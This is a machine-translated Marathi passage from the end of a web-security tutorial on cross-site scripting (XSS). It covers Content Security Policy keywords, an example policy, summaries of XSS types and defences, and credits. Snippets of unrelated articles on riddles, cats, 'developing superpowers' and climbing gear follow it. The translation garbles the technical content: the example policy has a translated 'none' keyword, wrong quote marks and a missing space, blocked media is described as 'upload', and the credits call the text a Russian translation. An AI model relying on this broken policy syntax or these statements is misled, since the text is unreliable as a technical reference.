    "काहीही नाही" संसाधने अक्षम करते. "स्वत:" वेब पृष्ठ जेथे राहतो त्या होस्टकडील संसाधनांचे निराकरण करते. "असुरक्षित-इनलाइन" पृष्ठावर इनलाइन घटक, घटक आणि जावास्क्रिप्ट: URL म्हणून समाविष्ट असलेल्या संसाधनांना अनुमती देते. "unsafe-eval" JavaScript eval फंक्शन सक्षम करते.

    लक्षात ठेवा की जेव्हाही CSP वापरला जातो, तेव्हा एम्बेडेड संसाधने आणि eval स्वयंचलितपणे डीफॉल्टनुसार अक्षम केले जातात. "असुरक्षित-इनलाइन" आणि "असुरक्षित-इव्हल" वापरणे हा त्यांचा वापर करण्याचा एकमेव मार्ग आहे.

    धोरण उदाहरण

    सामग्री-सुरक्षा-धोरण:
    script-src "self" scripts.example.com;
    media-src "काहीही नाही";
    img‑src*;
    default-src "self" http://*.example.com

    या उदाहरण धोरणासह, वेब पृष्ठावर खालील निर्बंध असतील:

    • स्क्रिप्ट फक्त वेब पेज असलेल्या होस्टवरून आणि या पत्त्यावरून डाउनलोड केल्या जाऊ शकतात: scripts.example.com.
    • ऑडिओ आणि व्हिडिओ फाइल्स अपलोड करण्याची परवानगी नाही.
    • प्रतिमा फाइल्स कोणत्याही पत्त्यावरून डाउनलोड केल्या जाऊ शकतात.
    • इतर सर्व संसाधने केवळ वेब पृष्ठ असलेल्या होस्टवरून आणि example.com च्या कोणत्याही सबडोमेनवरून डाउनलोड केली जाऊ शकतात.
    CSP स्थिती

    जून 2013 पर्यंत, W3C द्वारे सामग्री सुरक्षा धोरणांची शिफारस केली आहे. CSP ब्राउझर डेव्हलपरद्वारे लागू केले जाते, परंतु त्यातील काही भाग भिन्न ब्राउझरसाठी विशिष्ट आहेत. उदाहरणार्थ, HTTP हेडरचा वापर ब्राउझरमध्ये भिन्न असू शकतो. CSP वापरण्यापूर्वी, कृपया तुम्ही समर्थन करू इच्छित असलेल्या ब्राउझरच्या कागदपत्रांचा संदर्भ घ्या.

    सारांश सारांश: XSS विहंगावलोकन
    • XSS हल्ला हा वापरकर्ता इनपुटच्या असुरक्षित हाताळणीमुळे शक्य झालेला कोड इंजेक्शन हल्ला आहे.
    • यशस्वी XSS हल्ला आक्रमणकर्त्याला पीडिताच्या ब्राउझरमध्ये दुर्भावनापूर्ण JavaScript कार्यान्वित करण्यास अनुमती देतो.
    • यशस्वी XSS हल्ला वेबसाइट आणि तिच्या वापरकर्त्यांच्या सुरक्षिततेशी तडजोड करतो.
    सारांश: XSS हल्ले
    • XSS हल्ल्यांचे तीन मुख्य प्रकार आहेत:
      • संचयित XSS, जिथे दुर्भावनापूर्ण इनपुट वेबसाइटच्या डेटाबेसमधून उद्भवते.
      • परावर्तित XSS, जिथे दुर्भावनापूर्ण इनपुट पीडिताच्या विनंतीवरून उद्भवते.
      • DOM मॉडेलमध्ये XSS हल्ला, जेथे असुरक्षा क्लायंट-साइड कोडमध्ये वापरली जाते, सर्व्हर-साइडवर नाही.
    • हे सर्व हल्ले वेगळ्या पद्धतीने केले जातात, परंतु यशस्वी झाल्यास समान प्रभाव पडतो.
    सारांश: XSS प्रतिबंध
    • XSS हल्ले रोखण्याचा सर्वात महत्वाचा मार्ग म्हणजे सुरक्षित इनपुट हाताळणी करणे.
      • जेव्हा पृष्ठावर वापरकर्ता इनपुट सक्षम केले जाते तेव्हा एन्कोडिंग करणे आवश्यक आहे.
      • काही प्रकरणांमध्ये, कोडिंग पुनर्स्थित करणे किंवा प्रमाणीकरणाद्वारे पूरक असणे आवश्यक आहे.
      • सुरक्षित इनपुट हाताळणीने वापरकर्ता इनपुट कोणत्या पृष्ठ संदर्भामध्ये समाविष्ट केले जात आहे हे लक्षात घेतले पाहिजे.
      • सर्व प्रकारचे XSS हल्ले रोखण्यासाठी, क्लायंट आणि सर्व्हर साइड कोड दोन्हीमध्ये सुरक्षित इनपुट हाताळणी करणे आवश्यक आहे.
    • सामग्री सुरक्षा धोरणे (CSPs) सुरक्षित इनपुट प्रक्रिया अयशस्वी झाल्यास संरक्षणाचा अतिरिक्त स्तर प्रदान करतात.
    परिशिष्ट शब्दावली

    हे लक्षात घेतले पाहिजे की XSS चे वर्णन करण्यासाठी वापरल्या जाणार्‍या शब्दावलीमध्ये एक क्रॉसओवर आहे: DOM वर XSS हल्ला एकतर संग्रहित किंवा प्रतिबिंबित केला जाऊ शकतो; हे स्वतंत्र प्रकारचे हल्ले नाहीत. मिश्रण न करता सर्व प्रकारच्या XSS कव्हर करणारी कोणतीही सामान्यतः स्वीकारलेली शब्दावली नाही. XSS चे वर्णन करण्यासाठी वापरल्या जाणार्‍या शब्दावलीची पर्वा न करता, सर्वात महत्वाची गोष्ट म्हणजे हल्ल्याचा प्रकार निर्धारित करणे, दुर्भावनापूर्ण इनपुट कोठून येते आणि असुरक्षा कोठे आहे हे आपल्याला माहित असल्यास हे शक्य आहे.

    वापराचे अधिकार आणि लिंक्स

    साठी स्त्रोत कोड एक्‍सेसएक्सएसएस GitHub वर उपलब्ध आहे.

    एक्‍सेसएक्सएसएस 2013 मध्ये चाल्मर्स युनिव्हर्सिटी ऑफ टेक्नॉलॉजी येथे भाषा-आधारित सुरक्षा अभ्यासक्रमाचा भाग म्हणून तयार केले गेले.

    रशियन भाषेत भाषांतर A888R द्वारे केले गेले, मूळ मजकूर इंग्रजीमध्ये: excess-xss.com, टिप्पण्या, सूचना आणि भाषांतर त्रुटी येथे पाठवा.

     
    लेख द्वारेविषय:
    प्राण्यांबद्दल मुलांसाठी अवघड युक्ती कोडे
    युक्ती असलेले कोडे हे काही सामान्य मुलांचे कोडे नाहीत. या काव्यात्मक क्वाट्रेन अशा मुलांमध्ये खूप लोकप्रिय आहेत ज्यांना अशा कोडी खेळाचे नियम आधीच समजतात आणि त्यांना विनोदाची भावना आहे. गोष्ट अशी आहे की कोड्याचे उत्तर यमक नाही, परंतु प्रत्यक्षात
    मांजरी हृदयावर ओरखडे तेव्हा काय करावे?
    डॉक्टर एलेना करबान: "वनगिन्स ब्लूज" जर तुम्ही एखाद्या गोष्टीने किंवा एखाद्याच्याशी वाहून गेलात तर बरा होऊ शकतो. उदासीनता, प्लीहा, प्लीहा - जेव्हा एखाद्या व्यक्तीला भावना नसतात तेव्हा राज्याला कोणती नावे दिली जात नाहीत, जेव्हा तो प्रत्येक गोष्टीबद्दल उदासीन होतो, कामात रस गमावतो
    घरी सुपरपॉवर कसे शोधायचे आणि विकसित कसे करावे अलौकिक कसे बनायचे
    अलौकिक क्षमता केवळ जन्माच्या वेळीच वारशाने मिळत नाही तर स्वतंत्रपणे विकसित देखील होऊ शकते. अनेक मानसशास्त्रज्ञ त्यांच्या उदाहरणाद्वारे या माहितीची पुष्टी करतात. जेणेकरुन प्रत्येकाला समजेल की त्याच्याकडे आहे का, आपण फक्त काही प्रयत्न करणे आवश्यक आहे
    डेझी चेन: हा कोणत्या प्रकारचा प्राणी आहे?
    सेल्फ-बेलेइंग ही केवळ पर्वतारोहणातील एक टीम नाही तर... सेल्फ-बेलेइंग देखील आहे. ते भिन्न आहेत, आणि जेणेकरून एक किंवा दुसरे कसे वापरावे याबद्दल आपण गोंधळात पडू नये, आम्ही प्रत्येक गोष्टीचे विश्लेषण करू मुख्य गोष्ट लक्षात ठेवा - सर्वात सुरक्षित आणि सर्वात विश्वासार्ह डोरी हा मुख्य दोरीचा तुकडा आहे.